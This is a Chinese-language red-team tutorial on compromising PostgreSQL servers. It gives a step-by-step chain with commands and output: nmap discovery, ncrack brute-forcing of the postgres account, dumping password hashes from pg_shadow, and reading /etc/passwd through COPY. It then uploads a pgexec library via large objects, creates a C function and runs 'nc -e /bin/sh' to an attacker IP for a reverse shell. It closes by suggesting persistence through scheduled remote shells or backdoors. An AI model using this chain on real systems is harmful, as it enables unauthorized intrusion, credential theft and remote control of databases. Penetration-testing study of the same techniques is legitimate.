PostgreSQL是一个流行的开源关系数据库,具有广泛的平台支持。您可以在各种POSIX操作系统以及Windows上找到它。根据系统的配置,Postgres可以成为红队利用的宝贵资源。了解基础知识非常重要。那么让我们开始攻击PostgreSQL吧!
服务发现
Nmap是一个适合服务发现的扫描程序。我们可以很容易地选择massscan
或unicornscan
,但最简单的nmap命令通常是发现Postgres目标所需的全部内容。(在这个例子中,我们将针对一台名为的计算机sqlserver
,)
$ nmap sqlserver
Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-11 08:42 UTC
Nmap scan report for sqlserver (172.16.65.133)
Host is up (0.0000020s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
5432/tcp open postgresql
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
此时,我们已经验证了目标是否存在,并且有一个PostgreSQL服务正在运行并暴露。
服务访问
我们可以使用许多不同的方法来访问机密服务。运气好的话可能存在某些共享文件夹或其他不安全配置; 但有时我们没那么幸运。常常需要爆破密码,但是有很多工具可以使用,比如Hydra,Medusa,Metasploit等工具,但我们将延演示使用ncrack
。
首先,我们将尝试使用Rockyou breach列表攻击默认帐户postgres。在Kali Linux中,Rockyou列表是开箱即用的(您可以在/usr/share/wordlists/rockyou.txt.gz找到它)。由于我在这个示例中使用的是Kali,所以在使用它之前,我们首先需要解压缩归档文件。
$ gunzip /usr/share/wordlists/rockyou.txt.gz
接下来,我们将尝试通过ncrack对PostgreSQL服务发起攻击。指定要攻击的服务(psql://
),目标(sqlserver
),我们想要定位的用户(postgres
),以及我们要为密码字典(rockyou.txt
)。
$ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt
Starting Ncrack 0.5 ( http://ncrack.org ) at 2019-02-11 09:24 UTC
Discovered credentials for psql on 172.16.65.133 5432/tcp:
172.16.65.133 5432/tcp psql: 'postgres' 'airforce'
Ncrack done: 1 service scanned in 69.02 seconds.
Ncrack finished.
在此示例中,我们爆破出了用户的凭据。
有了凭证,我们可以使用psql
cli连接到我们的目标远程数据库。
$ psql --user postgres -h sqlserver
Password for user postgres:
psql (9.6.2)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=#
成功!
服务侦察
现在我们有了访问权限,就要进行一些信息收集。首先列举可用的用户和角色。
postgres=# \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-----------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
postgres=# select usename, passwd from pg_shadow;
usename | passwd
----------+-------------------------------------
postgres | md5fffc0bd6f9cb15de21317fd1f61df60f
(1 row)
接下来,列出可用的数据库和表。
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+---------+---------+-----------------------
postgres | postgres | UTF8 | C.UTF-8 | C.UTF-8 |
template0 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(3 rows)
postgres=# \dt
No relations found.
命令执行
Postgres抽象了某些系统级别的函数,它将这些函数公开。例如,我们可以很容易地发现工作目录的内容,使用以下方法:
postgres=# select pg_ls_dir('./');
pg_ls_dir
----------------------
PG_VERSION
base
global
pg_clog
pg_commit_ts
pg_dynshmem
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postgresql.auto.conf
postmaster.pid
postmaster.opts
(21 rows)
我们可以更进一步,阅读这些文件的内容。
postgres=# select pg_read_file('PG_VERSION');
pg_read_file
--------------
9.6 +
(1 row)
我们还可以选择我们想要开始读取的偏移量,以及我们想要读取的字节数。例如,让我们读取postgresql.auto.conf末尾附近的特定12个字节。
postgres=# select pg_read_file('postgresql.auto.conf', 66, 12);
pg_read_file
--------------
ALTER SYSTEM
(1 row)
但是这个pg_read_file()
功能有局限性。
postgres=# select pg_read_file('/etc/passwd');
ERROR: absolute path not allowed
postgres=# select pg_read_file('../../../../etc/passwd');
ERROR: path must be in or below the current directory
我们还可以在其中创建一个新表和COPY
磁盘上的文件内容。然后,我们可以查询表以查看内容。
postgres=# create table docs (data TEXT);
CREATE TABLE
postgres=# copy docs from '/etc/passwd';
COPY 52
postgres=# select * from docs limit 10;
data
---------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
(10 rows)
获得反向shell
所以现在我们可以访问我们的服务,我们可以从磁盘上的文件中读取。现在是时候看看我们是否可以得到反向shell。
Metasploit的有一个相当不错的payload
[Dionach]有一个很棒的小库,他们编写了一个名为pgexec()的函数,pgexec需要针对与正在运行的Postgres实例相同的主要和次要版本进行编译。
postgres=# select version();
但他也为许多常见版本提供了预构建的二进制文件。我们尝试其中一个。
$ curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so
现在我们有了库,但是如何将其传递到目标呢?幸运的是,我们可以在Postgres中生成loid来存储这些数据,然后尝试将其写入磁盘。
postgres=# select lo_creat(-1);
lo_creat
----------
16391
(1 row)
记下生成的lo_creat ID。您将在下面的示例中使用此功能。
但是,这里有一个警告。LOID条目最多可以是2K条,因此我们需要修改payload。我们可以在我们的bash shell中执行此操作(只需确保使用一些工作目录,因为您正在使用psql。)
$ split -b 2048 pg_exec.so
现在我们可以编写我们需要的SQL语句脚本来上传这个payload的所有部分。在这个例子中,我们将它们全部输入到一个名为的文件中upload.sql
。请记住${LOID}
使用之前抓取的ID 替换。
$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql
有了我们的SQL文件,我们可以将这些语句直接从磁盘包含到psql中。(同样,这假设upload.sql与psql位于同一个工作目录中。)
postgres=# \include upload.sql
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
最后,我们将LOID保存到磁盘。(更改16391以匹配您的LOID。)
postgres=# select lo_export(16391, '/tmp/pg_exec.so');
lo_export
-----------
1
(1 row)
使用我们刚刚复制到磁盘的库创建新函数。
postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;
CREATE FUNCTION
现在我们应该能够对目标执行远程命令。pg_exec()不会显示输出,所以我们只是运行一些盲命令来设置我们的shell。
首先,确保本地计算机上有一个监听器。从另一个shell窗口,我们可以使用Ncat或Netcat进行设置。
$ nc -l -p 4444
执行反向shell。
postgres=# select sys('nc -e /bin/sh 172.16.65.140 4444');
我们现在应该有一个活跃的反向shell。但是,为了使它更加完善,我们需要生成一个TTY。很多方法可以做到这一点,但我将使用Python。它很普遍,效果很好。
python -c 'import pty; pty.spawn("/bin/sh")'
$
成就解锁!
特权升级
如果你很幸运,PostgreSQL以root身份运行,你现在可以完全控制目标。如果没有,您只有一个无特权的shell,您需要升级。我不会在这里讨论,但有很多方法可以尝试这一点。首先,我建议设置持久性。也许创建一个预定的作业来打开远程shell,以防断开连接?或某种后门服务。确切的方法将根据目标进行定制。完成后,您可以处理您的后期开发重新调整,可能是一些内核漏洞,并从那里进行转移。
希望本文能帮助您更深入地了解在您的参与过程中利用PostgreSQL。快乐的黑客!